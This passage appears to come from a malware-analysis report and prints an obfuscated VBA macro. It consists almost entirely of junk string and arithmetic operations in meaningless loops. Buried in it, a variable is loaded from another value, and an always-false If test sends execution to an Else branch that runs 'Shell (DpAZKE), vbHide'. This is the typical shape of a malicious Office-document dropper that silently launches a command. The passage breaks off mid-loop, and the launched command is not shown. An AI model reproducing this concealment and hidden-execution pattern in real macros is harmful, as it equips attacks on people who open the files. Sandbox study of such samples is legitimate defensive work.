            uyaplxAEEkGt = StrReverse(" d  bisZ)Bw](f $) ")
            isLJdgcMILio = Left("ZZOo)LU q Xb $ #%QtM", 5)
            uyaplxAEEkGt = 904 + 414 + 413
            UjLRyKnwXS = Left("]#xi PgN%TN", 4)
            MoKxDaB = Left(" D @ RQyVCU@tl ", 2)
        Next DxoWUK

        yrKejJYCLCD = 1265 + 1285 + 403
        Dim cmbujSjC As Byte
        YwdUFkGs = Right("te ( zfF Aw rAMd ?", 2)
        

        dZjseTB = Left(" T IKQ(diZX@w %NBP!p", 2)
        lvUmY = RTrim("kCm a d vqbW(V xfE")
    Next YijPGT
    While RLxsCf < 4
        While iXLZjr < 2
            UjLRyKnwXS = UCase("&[[wB qwZ ")
            Dim HmuvPNQS As Single
            MoKxDaB = LTrim("nLh xlK Yy# dY   eM")
            uyaplxAEEkGt = RTrim("j Io_#N^H X]z ")
            

            iXLZjr = iXLZjr + 3
        Wend

        oCMirUodgbz = Space(15)
        BfHkj = Left(" QEn(?Tk( ", 5)
        yrKejJYCLCD = Right("k O OzJRg  iio^ L", 2)
        UjLRyKnwXS = Left("z %Hf#m uJWS ! c", 3)
        syPthOrxL = RTrim("C  n s^ p. dXN")
        iqfpzZyPny = 450 + 989 + 1536
        sPgNsCd = 898 + 1632 + 614
        YwdUFkGs = 113 - 338 - 339
        isLJdgcMILio = LTrim("U  QQior)k z")
        RLxsCf = RLxsCf + 3
    Wend
    yrKejJYCLCD = Space(3)
    While ivSgWO < 5
        HttilKm = StrReverse("rGAVs% dJUt?V Xmv")
        uyaplxAEEkGt = 491 - 129 - 192
        UjLRyKnwXS = Right("XZT &G i$   g#", 2)
        lvUmY = LTrim("InE@ . _nvoREiq?Ug ")
        WtrgzVGrNMz = StrReverse("F uCA z wVK")
        ivSgWO = ivSgWO + 3
    Wend
    While jRgxay < 3
        For cfwdaO = 0 To 7
            YwdUFkGs = StrReverse(" xBhAWG   $a")
            

            syPthOrxL = 1657 + 1541 + 862
            TcDIUgKVq = Space(8)
            EkwjdKbSM = RTrim("oD mey%f?I ")
        Next cfwdaO

        Dim PwDeZ, BElTAS As Integer
        oCMirUodgbz = Left("J-xod@) Q eg", 4)
        iqfpzZyPny = Left(" U W[DWs(!s ?q^", 4)
        MoKxDaB = Space(20)
        uyaplxAEEkGt = Left("wQ. W ZA m", 5)
        yrKejJYCLCD = Right("& beE  sZe    y", 5)
        HttilKm = StrReverse(" eiGR #)[ EbI cnf   ")
        uyaplxAEEkGt = 301 - 461 - 494
        UjLRyKnwXS = UCase("y fHvAltr   bBJgm! ")
        jRgxay = jRgxay + 2
    Wend
    For YnEdjy = 0 To 8
        TcDIUgKVq = LTrim("H ZJJfv qA t[aVGZ)S ")
        Dim tqfxIimI, wFNYmYY, qKsqCQLH As Date
        

        iqfpzZyPny = 1945 + 1624 + 889
        lvUmY = RTrim(".epzcyR_C  F  F %W_")
        NKmRoc = Right("Y n mH   YOMvld", 5)
    Next YnEdjy
    For HGDXFg = 0 To 10
        syPthOrxL = UCase("p-RQ?K b)m_   V  Du")
        YwdUFkGs = RTrim("O ! ^AGFr  J$ xndy ")
        Dim dVQfbQgb, VKNkTkOQ, QveCbwY As Integer
        UjLRyKnwXS = StrReverse(" ww r[zVx mJ uQRP hv")
        UjLRyKnwXS = 150 - 267 - 229
    Next HGDXFg
    For hqXcff = 0 To 2
        While QpJrZh < 2
            oCMirUodgbz = RTrim("k!IjdpuJg? f% w .&")
            Dim exDKQJ, vurvNYGL, CCDhUcma As Boolean
            Dim JpedlaW As Byte
            oCMirUodgbz = LTrim("sCmkLD- wcB^ ")
            MoKxDaB = Right("DQe cSe jn[   ", 4)
            lvUmY = RTrim("r kwT dng ")
            TcDIUgKVq = 178 - 379 - 418
            BfHkj = LTrim(" CB CB%m U ")
            QpJrZh = QpJrZh + 3
        Wend

        syPthOrxL = Left("btA N  S  yQqBw i P", 3)
        UjLRyKnwXS = UCase("$j^ ^se l!yI]q%")
        EkwjdKbSM = 168 - 406 - 431
        MszNYmG = Left("v    ?  ^h  ", 5)
        Dim bJkcHsw As Single
        Dim GseFe, qtYAS, hrWcb, gWfjU As Byte
        MoKxDaB = RTrim("   nW  Mqi-b[ ")
        HttilKm = Right("yhOQJzJ.zc v", 3)
        uyaplxAEEkGt = StrReverse("K gu%ks ) z )eG")
    Next hqXcff
    For nIfsnL = 0 To 3
        For KMFGie = 0 To 8
            syPthOrxL = Right("rT_Fv&A.C  IPP BU", 5)
            MszNYmG = Right("p%Sp .KttzNAe )p", 2)
            BfHkj = RTrim("H   JdK fYs SM zFI F")
            yrKejJYCLCD = Right("k  )BW  Go i", 5)
            uyaplxAEEkGt = 554 + 1410 + 550
            WtrgzVGrNMz = UCase(" Jdi&  )# SCY)&mXEp")
            iqfpzZyPny = Right("Pj! aG!GN xY u", 2)
            syPthOrxL = UCase(" @  PQJsrS")
            BfHkj = 488 - 435 - 346
        Next KMFGie

        TcDIUgKVq = Space(2)
        Dim dZmVW, glVjsoz, sdAPSUff As Single
        

        syPthOrxL = StrReverse(" R ^(wcOXBJM  &LKV")
        iqfpzZyPny = StrReverse("E  R X[H  ")
        Dim wFVTPsxr, lbDfMjns, GBpuWfdz, mmdsfPl As String
        MszNYmG = Right("r   kz NL-qDLXDCGw.", 5)
    Next nIfsnL
    For sDqYra = 0 To 6
        

        Dim crupxql, dBFgqcxh, Dcesz As Byte
        NKmRoc = Left("J!a zx$   u F os", 4)
        isLJdgcMILio = LTrim("    A fQikZ U $iA-eU")
        TcDIUgKVq = UCase("G  X] dk EiVs   KEg")
        Dim MpLNezlC As Date
        UjLRyKnwXS = Left("ORFPYV  ?( #", 3)
        HttilKm = UCase("?DO-dtim.y#Hh&J")
        dZjseTB = UCase("-H w.W Dq_B! SVH Ek#")
    Next sDqYra

    For JAKvjh = 0 To 9
        UjLRyKnwXS = Left(" R  emF) VW&)Q^ Wb.v", 5)
        lvUmY = 499 - 228 - 169
        BfHkj = LTrim("DKqDBL $It Jy-i F")
        oCMirUodgbz = Right("[&    eoeH", 4)
        MoKxDaB = LTrim(" #  o!CWaRtS  x(E")
    Next JAKvjh

    MszNYmG = LTrim("k  qDR] ]Dp.O ")
    HttilKm = Right("sAat_bP  j", 4)
    NKmRoc = Left("ImN    TTl)# %GNXC", 3)
    MoKxDaB = Left("qLo [ GWPoLEo  ", 3)
    DpAZKE = RTrim(slmkXW)
        While BnBreQ < 1
            For VTJExs = 0 To 7
                lvUmY = 1483 + 895 + 970
                HttilKm = Space(11)
                oCMirUodgbz = 1790 + 1969 + 1442
                Dim TbSXp, sFCXANIB, bGXnNK As Integer
                YwdUFkGs = Space(6)
                oCMirUodgbz = 1274 + 529 + 1663
                WtrgzVGrNMz = RTrim("f@ Egm   XxC")
                TcDIUgKVq = Left("%   Q@&   uD #", 4)
                MoKxDaB = UCase(")tZ cwc Fb&) Y#")
                

            Next VTJExs

            UjLRyKnwXS = RTrim("i- T. D Ku(")
            TcDIUgKVq = 393 - 242 - 222
            syPthOrxL = 356 - 364 - 215
            YwdUFkGs = UCase("( @i #_bvh ^ p")
            BfHkj = 452 - 397 - 160
            ktpsGoVFMu = StrReverse("_!  gVsQPn m cq L")
            Dim ojQFc, rdnbhya, bbSUXt, fMEkK As Single
            

            BnBreQ = BnBreQ + 3
        Wend


        UjLRyKnwXS = LTrim("Bjq(SD ) kzZBH")

        Dim GAxhKsW, OABTju As String

        For iwCmND = 0 To 3
            While RTHoWf < 4
                

                

                oCMirUodgbz = StrReverse("v#W^RE_rO k F.")
                ktpsGoVFMu = Right("R![P@   O Q R)x", 3)
                sPgNsCd = 169 - 366 - 172
                UjLRyKnwXS = LTrim(" Uhex  %[ CoK-ds  ")
                yrKejJYCLCD = StrReverse("ew d)qKFi sH!A zw  ")
                iqfpzZyPny = Right("%I  ]vz )W  WL ?Gmxk", 4)
                isLJdgcMILio = LTrim("F ?uB hZN  c vs  ")
                iqfpzZyPny = LTrim("M?ywlLkfZnv  ")
                RTHoWf = RTHoWf + 1
            Wend

            YwdUFkGs = 1599 + 1678 + 854
            oCMirUodgbz = RTrim("YAqak?aP& T ")
            yrKejJYCLCD = 347 - 493 - 494
            YwdUFkGs = Right("W]fm?Ehv$i wH !Zk ", 5)
            Dim wKsoNv, MprJgUqd, CveQlz, JFnMb As String
            uyaplxAEEkGt = Left("owcpS  nj$.lG ", 4)
            oCMirUodgbz = 752 + 1395 + 1735
        Next iwCmND


        uyaplxAEEkGt = 342 - 145 - 379

        oCMirUodgbz = 1037 + 1994 + 1190

        EkwjdKbSM = 1440 + 1293 + 860
            HttilKm = 462 - 181 - 227

            dZjseTB = Left("ME kig f  - ", 5)

            yrKejJYCLCD = Space(18)

            


            WtrgzVGrNMz = LTrim("woOYfMMv  wa.i  V%c")

            yrKejJYCLCD = RTrim("y UV  @. sS k TtdG@")

            HttilKm = Left("j%_  ?A^VHz T l^s", 3)

            yrKejJYCLCD = Right("z[lxE  .X?j Y ", 5)

            dZjseTB = UCase("  Db E WujWcTF y!")

            EkwjdKbSM = UCase(" e H  c Wv f!l ")

            oCMirUodgbz = 176 - 346 - 416
        If 7 = 5 + 5 - 2 Then
            yrKejJYCLCD = RTrim("EixfT EPr]M ")

            


            YwdUFkGs = 417 + 1065 + 1797

            MoKxDaB = LTrim(" ZQbKYMmUnKS iE  X_")

            UjLRyKnwXS = StrReverse("?-u h?f.vB M.B eYx o")

            lvUmY = 179 - 141 - 363

            UjLRyKnwXS = Left("CXNO JF )V@ NjxK  ^", 5)

            YwdUFkGs = RTrim("pV() h OmQGN (oB")

            EkwjdKbSM = UCase("XuM%i SExBMx L)!K  ")

            isLJdgcMILio = StrReverse("GZ [M LoO-dW  PHW ZC")

            BfHkj = Right("e@Np  rt OgT", 2)
        Else
            Shell (DpAZKE), vbHide
            MoKxDaB = 719 + 121 + 367

            While HotgVG < 2
                TcDIUgKVq = 188 - 500 - 395
                NKmRoc = 365 - 222 - 421
                

                MszNYmG = Right("i!  k x k BN", 3)
                oCMirUodgbz = 748 + 1675 + 526
                BfHkj = Left("?Q # b #@ _ ", 5)
                EkwjdKbSM = UCase(" zU  .S GWm")
                TcDIUgKVq = Space(11)
                YwdUFkGs = 411 - 157 - 269
                HotgVG = HotgVG + 2
            Wend


            dZjseTB = Left("? W x_[_oyz e", 4)

            For OPGQBw = 0 To 1
                While IdUkio < 4
…

Open this report in the interactive analyzer, or submit your own file for analysis.